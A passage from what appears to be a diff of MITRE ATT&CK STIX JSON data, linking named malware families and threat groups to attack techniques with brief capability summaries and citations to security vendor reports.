"2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers shares on the network", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:00:12.350Z", + "type": "relationship", + "id": "relationship--0da51973-98f8-4a5e-8217-da19f7bc64b6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of listing contents of folders on the victim. [Remsec](https://attack.mitre.org/software/S0125) also searches for custom network encryption software on victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96797ece-5783-4d34-a399-32496c8705ac", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.630Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) relays traffic between a C2 server and a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "modified": "2019-04-19T18:36:31.999Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Visual Basic Scripts (VBS), JavaScript code, batch files, and .SCT files on victim machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db222ecf-5923-478d-ba71-88de478ae51c", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-07-11T13:53:06.029Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) runs the net view command", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77fbad9a-3a73-4ddb-8d10-60147eb64a81", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can download additional files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--419392f5-e6a8-4eee-b7c2-f0bac5cce833", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) executes the whoami on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ada55a0e-2f38-4da1-9ebd-8dd2f2461dfc", + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to log keystrokes from the victim\u2019s machine, both offline and online.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0b9a4cdc-8305-49ec-879f-6cfa35763af2", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Kaspersky Adwind Feb 2016", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "modified": "2019-06-24T17:20:24.479Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) decrypts strings in the code during the execution process.", + "type": "relationship", + "created": "2019-01-29T17:59:44.525Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6aed3c5-9f4a-4178-b03b-5805b2f61c81", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ], + "modified": "2019-04-16T20:55:20.187Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) adds itself to the Registry as a startup program to establish persistence.", + "type": "relationship", + "created": "2019-01-29T18:44:04.954Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ecaa94b-3ad8-4de5-9cf2-81069676cfa3", + "external_references": [ + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "modified": "2019-04-16T14:30:35.394Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) takes automated screenshots of the infected machine.", + "type": "relationship", + "created": "2019-01-29T18:55:20.864Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--988a0f0f-b3dc-4ff7-8062-29d3975cb897", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:53.076Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like anti-virus and the Windows Firewall.", + "type": "relationship", + "created": "2019-01-29T19:18:28.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bf01b245-8a42-4fd3-9b77-ec411336b62d", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.667Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts collected data using a public key framework before sending it over the C2 channel. Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.", + "type": "relationship", + "created": "2019-01-29T19:55:48.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9076865a-8215-4536-bb31-60ab7fa20af6", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:43.073Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can access the victim's webcam and capture data.", + "type": "relationship", + "created": "2019-01-29T20:05:36.501Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1efc9685-b2ab-46fb-91a9-a305d6c1f335", + "external_references": [ + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.969Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log keystrokes.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.", + "type": "relationship", + "created": "2019-01-29T21:27:25.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a32248e6-ab16-43fb-a094-7231ca926aa9", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.903Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) captures screenshots in .jpg format and then exfiltrates them.", + "type": "relationship", + "created": "2019-01-29T21:33:34.655Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5249b0e7-878e-44db-9d59-f162067f1852", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.930Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-12T16:33:51.221Z", + "type": "relationship", + "created": "2019-01-29T21:37:00.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a9b075d-4a37-4b89-8643-8b4376b79416", + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "relationship_type": "uses", + "target_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) collects data from the local victim system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ef3d09dd-b6e8-4858-a2ad-de8b2981dc27", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.291Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects information on the Windows directory and searches for compressed RAR files on the host.", + "type": "relationship", + "created": "2019-01-30T13:24:09.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d3fee1f-1c19-4ad8-9cd9-e5b00e5b040a", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.077Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate Registry keys.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c786b4b-b146-4511-b3ca-65fe7c3521e8", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module for [Mimikatz](https://attack.mitre.org/software/S0002) to collect Windows credentials from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T13:53:14.938Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcd9182a-516c-425f-82ec-61cdb0bfc731", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.031Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) gathers the MAC address of the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--107713b7-97e8-4cd6-8671-b38f86e02ed0", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa035513-59b6-4f54-8b85-13ec08849453", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) uses an XOR key to decrypt content and uses Base64 to decode the C2 address.", + "type": "relationship", + "created": "2019-01-30T15:19:14.930Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3733dda5-9dd9-43d1-ac3a-24f1b5fb86e7", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "modified": "2019-07-26T23:22:28.545Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) uses a keylogger to capture keystrokes and location of where the user is typing.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--366c4cf9-7ea1-4751-9415-bcd3a1c52b27", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "modified": "2019-07-26T22:56:58.523Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + 